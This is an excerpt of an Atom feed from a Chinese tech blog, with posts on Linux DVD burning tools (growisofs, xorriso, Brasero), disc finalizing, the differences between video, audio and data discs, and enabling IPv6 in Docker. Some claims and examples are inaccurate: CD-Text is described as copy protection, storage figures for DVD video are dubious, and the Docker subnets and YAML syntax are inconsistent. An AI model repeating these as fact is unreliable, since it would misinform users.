&lt;li&gt;支持增量写入（多段刻录）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 第一次刻录（不关闭）
growisofs -Z &amp;#x2F;dev&amp;#x2F;sr0 -R -J &amp;#x2F;path&amp;#x2F;to&amp;#x2F;data1
growisofs -Z &amp;#x2F;dev&amp;#x2F;sr0=&amp;#x2F;path&amp;#x2F;to&amp;#x2F;files   # 直接刻录文件
# 追加数据（-M 表示 multi-session）
growisofs -M &amp;#x2F;dev&amp;#x2F;sr0 -R -J &amp;#x2F;path&amp;#x2F;to&amp;#x2F;data2
growisofs -M &amp;#x2F;dev&amp;#x2F;sr0=output.iso       # 追加数据
# 最终关闭光盘
dvd+rw-format -close=1 &amp;#x2F;dev&amp;#x2F;sr0
sudo apt install dvd+rw-tools
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xorriso&quot;&gt;xorriso&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;多功能ISO和光盘操作工具（libisoburn 的一部分），可替代 mkisofs + wodim。&lt;&#x2F;li&gt;
&lt;li&gt;创建&#x2F;修改ISO：支持Rock Ridge、Joliet、UDF。&lt;&#x2F;li&gt;
&lt;li&gt;刻录：直接刻录ISO或文件到光盘。&lt;&#x2F;li&gt;
&lt;li&gt;转换：将ISO转换为其他格式。&lt;&#x2F;li&gt;
&lt;li&gt;引导支持：处理EFI&#x2F;BIOS引导镜像。&lt;&#x2F;li&gt;
&lt;li&gt;单一工具完成全流程，脚本友好。&lt;&#x2F;li&gt;
&lt;li&gt;支持DVD&#x2F;BD和增量刻录。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 制作ISO
xorriso -outdev output.iso -map &amp;#x2F;path&amp;#x2F;to&amp;#x2F;files &amp;#x2F; -volid &amp;quot;MY_DISC&amp;quot;
# 刻录ISO
xorriso -dev &amp;#x2F;dev&amp;#x2F;sr0 -blank as_needed -speed 4 -map input.iso &amp;#x2F; -- -commit_eject all
sudo apt install xorriso
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;工具&lt;&#x2F;th&gt;&lt;th&gt;主要用途&lt;&#x2F;th&gt;&lt;th&gt;优势&lt;&#x2F;th&gt;&lt;th&gt;劣势&lt;&#x2F;th&gt;&lt;th&gt;适用场景&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;cdrtools&lt;&#x2F;td&gt;&lt;td&gt;光盘刻录套件&lt;&#x2F;td&gt;&lt;td&gt;功能全面&lt;&#x2F;td&gt;&lt;td&gt;维护停滞，部分工具被替代&lt;&#x2F;td&gt;&lt;td&gt;传统脚本兼容性&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;mkisofs&lt;&#x2F;td&gt;&lt;td&gt;创建ISO镜像&lt;&#x2F;td&gt;&lt;td&gt;兼容性好&lt;&#x2F;td&gt;&lt;td&gt;逐渐被替代&lt;&#x2F;td&gt;&lt;td&gt;需与旧脚本兼容时&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;genisoimage&lt;&#x2F;td&gt;&lt;td&gt;创建ISO镜像&lt;&#x2F;td&gt;&lt;td&gt;活跃维护，兼容 mkisofs&lt;&#x2F;td&gt;&lt;td&gt;不支持UDF&lt;&#x2F;td&gt;&lt;td&gt;制作数据ISO&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;wodim&lt;&#x2F;td&gt;&lt;td&gt;刻录CD&#x2F;DVD&lt;&#x2F;td&gt;&lt;td&gt;轻量，替代 cdrecord&lt;&#x2F;td&gt;&lt;td&gt;仅基础刻录功能&lt;&#x2F;td&gt;&lt;td&gt;简单刻录需求&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;growisofs&lt;&#x2F;td&gt;&lt;td&gt;DVD&#x2F;BD刻录&lt;&#x2F;td&gt;&lt;td&gt;直接刻录文件，支持增量&lt;&#x2F;td&gt;&lt;td&gt;仅限DVD&#x2F;BD&lt;&#x2F;td&gt;&lt;td&gt;专业级DVD&#x2F;BD操作&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;xorriso&lt;&#x2F;td&gt;&lt;td&gt;ISO制作+刻录全能工具&lt;&#x2F;td&gt;&lt;td&gt;支持全流程，脚本友好&lt;&#x2F;td&gt;&lt;td&gt;命令行复杂&lt;&#x2F;td&gt;&lt;td&gt;高级用户或自动化任务&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;新手或追求简单操作：优先选 Brasero，界面友好且功能满足日常需求。&lt;&#x2F;li&gt;
&lt;li&gt;需要高级功能（如多段写入、蓝光刻录）：选 K3b，功能接近 ImgBurn 的专业级体验。&lt;&#x2F;li&gt;
&lt;li&gt;轻量环境或命令行偏好：Xfburn 或 wodim + genisoimage 更合适。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这些工具均支持 “封闭光盘”（Finalize）功能，在刻录时可手动勾选相关选项（图形工具）或通过参数（命令行）控制，与 ImgBurn 的核心功能一致。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>为什么光盘需要进行《封闭光盘》操作</title>
        <published>2025-08-06T23:11:17+08:00</published>
        <updated>2025-08-06T23:11:17+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/为什么光盘需要进行封闭光盘操作/"/>
        <id>https://vercel.juzhong.asia/2025/08/为什么光盘需要进行封闭光盘操作/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/为什么光盘需要进行封闭光盘操作/">&lt;p&gt;在光盘刻录中，“封闭光盘”（Finalize）是一个关键操作，直接影响光盘的兼容性和可读写性。以下详细说明如何判断光盘是否已封闭，以及为什么需要封闭光盘：&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ru-he-pan-duan-guang-pan-shi-fou-yi-feng-bi&quot;&gt;如何判断光盘是否已 “封闭”？&lt;&#x2F;h1&gt;
&lt;p&gt;判断光盘是否封闭，可通过设备识别、软件检测或实际测试三种方式，具体方法如下：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-tong-guo-cao-zuo-xi-tong-zhi-jie-shi-bie-jian-dan-zhi-guan&quot;&gt;1. 通过操作系统直接识别（简单直观）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;插入光盘后查看属性&lt;&#x2F;li&gt;
&lt;li&gt;若光盘已封闭：通常会显示 “已使用空间” 和 “可用空间”，但可用空间会显示为 “0”（即使光盘未写满），且无法向光盘中复制新文件（会提示 “介质受写保护” 或 “无法写入”）。&lt;&#x2F;li&gt;
&lt;li&gt;若未封闭：属性中会显示 “可用空间”（即未使用的容量），且在支持写入的设备中可继续追加数据（前提是光盘支持多段写入）。&lt;&#x2F;li&gt;
&lt;li&gt;尝试写入数据测试&lt;&#x2F;li&gt;
&lt;li&gt;向光盘中复制一个小文件，若提示 “无法写入”“介质不可写” 或 “光盘已关闭”，则说明光盘已封闭；若能正常写入，则未封闭。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-tong-guo-ke-lu-ruan-jian-jian-ce-zhuan-ye-zhun-que&quot;&gt;2. 通过刻录软件检测（专业准确）&lt;&#x2F;h2&gt;
&lt;p&gt;使用 Nero、ImgBurn、Ashampoo Burning Studio、k3b(linux) 等专业刻录软件，可直接查看光盘状态&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;打开刻录软件，选择 “光盘信息”“查看光盘状态” 或类似功能（不同软件名称可能不同）。&lt;&#x2F;li&gt;
&lt;li&gt;软件会显示光盘的详细信息，包括：
“光盘状态”：明确标注 “已封闭（Finalized）” 或 “未封闭（Unfinalized）”；
“会话状态”：若显示 “最后一个会话已关闭” 或 “无可用会话”，则为已封闭；若显示 “存在开放会话（Open Session）”，则未封闭。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;3-zai-qi-ta-she-bei-shang-ce-shi-jian-rong-xing-shi-ji-yan-zheng&quot;&gt;3. 在其他设备上测试兼容性（实际验证）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;未封闭的光盘可能存在兼容性问题，可通过跨设备测试判断：&lt;&#x2F;li&gt;
&lt;li&gt;若光盘能在 DVD 播放器、汽车音响、老式光驱 等非电脑设备上正常读取，则大概率已封闭（这些设备通常不支持读取未封闭的光盘）。&lt;&#x2F;li&gt;
&lt;li&gt;若仅能在刻录该光盘的电脑上读取，而在其他设备上提示 “无法识别光盘”“介质错误”，则可能未封闭。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;wei-shen-me-xu-yao-feng-bi-guang-pan&quot;&gt;为什么需要 “封闭光盘”？&lt;&#x2F;h1&gt;
&lt;p&gt;封闭光盘的核心目的是确保光盘在所有设备上的兼容性，并锁定数据防止后续修改，具体原因如下：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-bao-zheng-kua-she-bei-jian-rong-xing-zui-he-xin-yuan-yin&quot;&gt;1. 保证跨设备兼容性（最核心原因）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;光盘的 “未封闭状态” 仅能被刻录时使用的电脑和软件识别，而大多数设备（如 DVD 播放器、电视、车载光驱、其他品牌电脑）无法读取未封闭的光盘。&lt;&#x2F;li&gt;
&lt;li&gt;未封闭的光盘存在 “开放会话”（Open Session），其数据结构不完整，其他设备的光驱无法解析文件系统（如 ISO 9660 或 UDF），会提示 “无效光盘” 或 “无法读取”。&lt;&#x2F;li&gt;
&lt;li&gt;封闭光盘后，光盘的导言区（Lead-in）、数据区和结尾区（Lead-out） 会被完整写入，文件系统结构固定，所有支持该类型光盘的设备都能正常识别。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-fang-zhi-hou-xu-xie-ru-bao-hu-shu-ju-wan-zheng-xing&quot;&gt;2. 防止后续写入，保护数据完整性&lt;&#x2F;h2&gt;
&lt;p&gt;封闭光盘后，光盘会被永久锁定，无法再追加任何数据（即使是支持多段写入的光盘）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对于一次性写入光盘（如 DVD-R、CD-R）：封闭后彻底终止写入权限，避免误操作导致数据损坏。&lt;&#x2F;li&gt;
&lt;li&gt;对于可擦写光盘（如 DVD-RW）：封闭后同样无法写入，若需再次修改，需先 “解除封闭”（部分软件支持，但操作复杂且可能丢失数据）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;3-you-hua-guang-pan-du-qu-xiao-lu&quot;&gt;3. 优化光盘读取效率&lt;&#x2F;h2&gt;
&lt;p&gt;未封闭的光盘在读取时，光驱需要额外扫描 “开放会话” 的信息，可能导致读取速度变慢或卡顿；封闭后，数据结构固定，光驱可直接按标准格式快速定位数据，提升读取稳定性。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;te-shu-qing-kuang-na-xie-guang-pan-bu-xu-yao-qiang-zhi-feng-bi&quot;&gt;特殊情况：哪些光盘不需要强制封闭？&lt;&#x2F;h1&gt;
&lt;p&gt;并非所有光盘都必须立即封闭，以下场景可暂时不封闭：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;需要分多次写入的一次性光盘（如 DVD-R 多段写入）：首次写入时选择 “不封闭”，可后续追加数据，但需注意每次写入会占用额外的 “会话开销”（约几十 MB），且最终必须封闭才能在其他设备上读取。&lt;&#x2F;li&gt;
&lt;li&gt;可擦写光盘（DVD-RW&#x2F;DVD+RW）：若需反复修改内容，可暂时不封闭，随时追加或擦除数据；但长期保存或跨设备使用时，仍建议封闭以确保兼容性。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;判断光盘是否封闭：通过操作系统属性查看可用空间、刻录软件检测状态，或跨设备测试兼容性即可确认。&lt;&#x2F;li&gt;
&lt;li&gt;封闭光盘的核心作用：确保光盘能在所有设备上正常读取（兼容性），锁定数据防止误修改，并优化读取效率。&lt;&#x2F;li&gt;
&lt;li&gt;对于需要长期保存或跨设备使用的光盘，必须封闭；若需临时追加数据，可暂时不封闭，但需在最终使用前完成封闭操作。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>为什么光盘刻录要区分视频 音频和数据？</title>
        <published>2025-08-05T12:31:31+08:00</published>
        <updated>2025-08-05T12:31:31+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/为什么光盘刻录要区分视频 音频和数据？/"/>
        <id>https://vercel.juzhong.asia/2025/08/为什么光盘刻录要区分视频 音频和数据？/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/为什么光盘刻录要区分视频 音频和数据？/">&lt;p&gt;区分视频、音频和数据光盘，主要源于技术标准、设备兼容性以及应用场景的本质差异&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ji-shu-biao-zhun-yu-cun-chu-jie-gou-chai-yi&quot;&gt;技术标准与存储结构差异&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;‌数据光盘‌&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;‌文件系统‌：采用通用格式（如ISO 9660、UDF），直接存储原始文件（文档&#x2F;图片&#x2F;程序）。&lt;&#x2F;li&gt;
&lt;li&gt;‌读取方式‌：需依赖操作系统或特定软件解析文件系统，兼容性强但无专用优化。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;‌视频光盘（VCD&#x2F;DVD）‌&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;‌编码规范‌：
&lt;ul&gt;
&lt;li&gt;‌VCD‌：强制使用MPEG-1压缩，固定码率1.5Mbps，音频为MP2。&lt;&#x2F;li&gt;
&lt;li&gt;‌DVD‌：采用MPEG-2编码，支持多声道音频（AC3&#x2F;DTS）及交互菜单。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;‌文件结构‌：
&lt;ul&gt;
&lt;li&gt;视频文件必须命名为 VIDEO_TS（DVD）或 MPEGAV（VCD）等标准目录。&lt;&#x2F;li&gt;
&lt;li&gt;包含辅助文件（如 .IFO 导航信息）确保播放器识别。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;‌音频光盘（CD-DA）‌&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;物理格式‌：音频流以连续扇区存储，无文件系统（区别于数据CD）。&lt;&#x2F;li&gt;
&lt;li&gt;‌纠错机制‌：采用CIRC编码，优先保证音质连续性而非数据完整性。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;💡 ‌关键区别‌：视频&#x2F;音频光盘是 ‌“封闭式格式”‌，需严格遵循行业标准；数据光盘是 ‌“开放式存储”‌，无内容限制。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;she-bei-jian-rong-xing-xu-qiu&quot;&gt;设备兼容性需求&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;设备类型&lt;&#x2F;th&gt;&lt;th&gt;支持的光盘格式&lt;&#x2F;th&gt;&lt;th&gt;限制说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;‌家用DVD机‌&lt;&#x2F;td&gt;&lt;td&gt;仅识别标准DVD&#x2F;VCD视频结构&lt;&#x2F;td&gt;&lt;td&gt;无法播放数据光盘内的MP4文件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;‌车载CD播放器‌&lt;&#x2F;td&gt;&lt;td&gt;仅支持CD-DA音频光盘&lt;&#x2F;td&gt;&lt;td&gt;忽略数据CD中的MP3文件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;‌蓝光播放器‌&lt;&#x2F;td&gt;&lt;td&gt;兼容BD-Video，部分支持数据BD&lt;&#x2F;td&gt;&lt;td&gt;需手动切换文件浏览模式&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;‌电脑光驱‌&lt;&#x2F;td&gt;&lt;td&gt;全格式兼容&lt;&#x2F;td&gt;&lt;td&gt;依赖软件解码（如VLC）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;⚠️ 若格式错误：
视频光盘刻录为数据格式 → DVD播放器报 ‌“无碟”或“格式不支持”‌
数据光盘放入CD播放器 → 播放 ‌刺耳噪声‌（误读二进制为音频）&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yong-hu-ti-yan-yu-gong-neng-you-hua&quot;&gt;用户体验与功能优化&lt;&#x2F;h1&gt;
&lt;p&gt;‌视频&#x2F;音频光盘的专属功能‌&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;‌DVD菜单导航‌：依赖标准视频格式生成交互界面7。&lt;&#x2F;li&gt;
&lt;li&gt;‌CD音轨索引‌：支持歌曲快进&#x2F;切换（数据CD无法实现）。&lt;&#x2F;li&gt;
&lt;li&gt;‌播放稳定性‌：专用纠错算法降低卡顿&#x2F;跳帧风险。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;‌存储效率差异‌
‌同容量光盘‌：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;存储视频时长：DVD-Video &amp;gt; 数据光盘（因专用压缩优化）。&lt;&#x2F;li&gt;
&lt;li&gt;示例：单层DVD存MPEG-2视频约120分钟，存原始数据仅90分钟。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;xing-ye-gui-fan-yu-ban-quan-bao-hu&quot;&gt;行业规范与版权保护&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;‌版权控制需求‌
影视DVD常包含 ‌区域码‌（Region Code）及 ‌内容加扰系统‌（CSS）。
音乐CD采用 ‌CD-Text‌ 元数据保护，数据光盘无此类机制8。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;‌生产标准化‌
工厂压盘必须遵循 ‌“红皮书”‌（CD-DA）、‌“白皮书”‌（VCD）等规范。
数据光盘无统一内容标准，仅需符合物理层刻录要求4。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zong-jie-qu-fen-gen-yuan-zai-yu-chang-jing-qu-dong-ji-shu-fen-hua&quot;&gt;总结：区分根源在于‌场景驱动技术分化‌&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;核心目标&lt;&#x2F;th&gt;&lt;th&gt;技术实现&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;数据&lt;&#x2F;td&gt;&lt;td&gt;通用存储&lt;&#x2F;td&gt;&lt;td&gt;开放文件系统+无编码限制&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;视频&lt;&#x2F;td&gt;&lt;td&gt;流畅播放+设备兼容&lt;&#x2F;td&gt;&lt;td&gt;强制编码标准+专用目录结构&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;音频&lt;&#x2F;td&gt;&lt;td&gt;高保真音质+播放便捷&lt;&#x2F;td&gt;&lt;td&gt;物理层流式存储+纠错优化&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;随着流媒体普及，光盘格式区分的重要性下降，但在专业存档、影视发行等领域仍是刚需。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux dvd刻录</title>
        <published>2025-08-05T12:20:00+08:00</published>
        <updated>2025-08-05T12:20:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/linux dvd刻录/"/>
        <id>https://vercel.juzhong.asia/2025/08/linux dvd刻录/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/linux dvd刻录/">&lt;h1 id=&quot;debian-ubuntu-shang-shi-yong-brasero-ke-lu-guang-pan&quot;&gt;Debian&#x2F;Ubuntu 上使用 Brasero 刻录光盘&lt;&#x2F;h1&gt;
&lt;p&gt;在 Ubuntu 系统中，Brasero 是一个非常方便的光盘刻录工具。无论是创建数据光盘、音频光盘还是刻录光盘镜像文件，Brasero 都能轻松胜任。本文将介绍如何在 Ubuntu 上安装和使用 Brasero 进行光盘刻录。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;an-zhuang-brasero&quot;&gt;安装 Brasero&lt;&#x2F;h1&gt;
&lt;p&gt;在大多数 Ubuntu 版本中，Brasero 已经包含在默认的软件源中。你可以通过以下步骤安装 Brasero：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt update
sudo apt install brasero
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-yong-brasero-ke-lu-shu-ju-guang-pan&quot;&gt;使用 Brasero 刻录数据光盘&lt;&#x2F;h1&gt;
&lt;p&gt;启动 Brasero：安装完成后，你可以在应用程序菜单中找到 Brasero，点击打开它。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;创建新项目：
在 Brasero 主界面，选择“数据光盘”选项。
在新窗口中，点击“+”按钮添加你想要刻录的文件和文件夹。&lt;&#x2F;li&gt;
&lt;li&gt;配置刻录设置：
在窗口底部，你可以选择光盘的刻录速度。默认速度通常是安全且可靠的选择。
确保你的光驱中已经插入了一张空白光盘。&lt;&#x2F;li&gt;
&lt;li&gt;开始刻录：
检查确认所有文件和设置无误后，点击“刻录”按钮。
刻录过程可能需要几分钟时间，取决于数据量和刻录速度。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;2025-08-05-12-43-06.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>docker 开启ipv6网络支持</title>
        <published>2025-08-05T09:12:46+08:00</published>
        <updated>2025-08-05T09:12:46+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/docker 开启ipv6网络支持/"/>
        <id>https://vercel.juzhong.asia/2025/08/docker 开启ipv6网络支持/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/docker 开启ipv6网络支持/">&lt;p&gt;Docker 默认是不开启 IPv6 支持的，这里介绍如何开启 Docker 桥接网络 IPv6 支持，具体操作仅供参考，建议以官方文档为准。&lt;&#x2F;p&gt;
&lt;p&gt;通过查看主机命令方式获取的 ipv6 地址输出如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;6: eth0:  mtu 9000 
    inet6 2607:f0d0:1102:11::4&amp;#x2F;64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::230:48ff:fe33:bc33&amp;#x2F;64 scope link 
       valid_lft forever preferred_lft forever
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中inet6 2607:f0d0:1102:11::4&#x2F;64 scope global这行指示的IPv6地址是我们需要的目标地址，注意这里的是公网IP，也就是后面scope global指示的，大家注意到后续还有一个fe80 开头的 IPv6 地址，这个后面没有 global，也就是通常意义内网 IPv6&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ipv6-di-zhi-duan-hua-fen&quot;&gt;IPv6 地址段划分&lt;&#x2F;h1&gt;
&lt;p&gt;Docker 可以配置多个虚拟网络，对于 IPv4 来说通过形如 172.17.0.1&#x2F;16、172.18.0.1&#x2F;16、172.19.0.1&#x2F;16 这样内网私有IP地址段配置多个 IPv4 虚拟网段，那么同样的道理 IPv6 也建议划分多个段&lt;&#x2F;p&gt;
&lt;p&gt;比如刚才的 IPv6 地址划分为 4 个网段如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;2607:f0d0:1102:11::&amp;#x2F;66
2607:f0d0:1102:11:4000::&amp;#x2F;66
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pei-zhi-mo-ren-docker-ipv6&quot;&gt;配置默认 Docker IPv6&lt;&#x2F;h1&gt;
&lt;p&gt;编辑 Docker 配置文件&#x2F;etc&#x2F;docker&#x2F;daemon.json，如果该文件不存在，请手动建立。配置文件内容如下，如果你已有的配置文件缺少相应的配置项，添加上即可，没有必要完全覆盖内容。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;experimental&amp;quot;: true,
  &amp;quot;ipv6&amp;quot;: true,
  &amp;quot;ip6tables&amp;quot;: true,
  &amp;quot;fixed-cidr-v6&amp;quot;: &amp;quot;2607:f0d0:1002:51::&amp;#x2F;66&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里ip6tables是指由 Docker 自动配置 IPv6 的防火墙规则，如果你希望自己手动配置，请改为 false 或者移除此项，否则容器将无法连接 IPv6 网络；fixed-cidr-v6 则是我们划分的子网段的第一个，这里仅作示例请读者根据实际情况修改。&lt;&#x2F;p&gt;
&lt;p&gt;完成配置后请使用systemctl restart docker重启docker服务生效。完成此步后 Docker 算是完成对于 IPv6 的支持了。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pei-zhi-docker-compose-de-ipv6-zhi-chi&quot;&gt;配置 Docker Compose 的 IPv6 支持&lt;&#x2F;h1&gt;
&lt;p&gt;Docker Compose 的配置文件内容关于 IPv6 部分重点是网络节配置，如果另外配置网络的话，必须选择与默认daemon.json不同的 IPv6 子网段，例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;networks:
  example:
    enable_ipv6: true
    driver: bridge
    driver_opts:
      com.docker.network.enable_ipv6: &amp;quot;true&amp;quot;
    ipam:
      config:
       - subnet: 172.23.0.0&amp;#x2F;16
       - subnet: &amp;quot;2607:f0d0:1002:51:4000::&amp;#x2F;66&amp;quot;
         gateway:2607:f0d0:1002:51:4000::1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里example网络我们通过配置开启IPv6支持，其中网络段配置IPv4是172.23.0.0&#x2F;16，IPv6选用余下的第二个网段2607:f0d0:1002:51:4000::&#x2F;66注意这里不能和daemon.json配置的 IPv6 网段一样。这里的 IP 配置同样是一个示例，读者请根据实际情况进行修改。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;400379696&quot;&gt;docker ipv6网络配置&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>输入法输出的是unicode吗</title>
        <published>2025-08-01T19:35:57+08:00</published>
        <updated>2025-08-01T19:35:57+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/输入法输出的是unicode吗/"/>
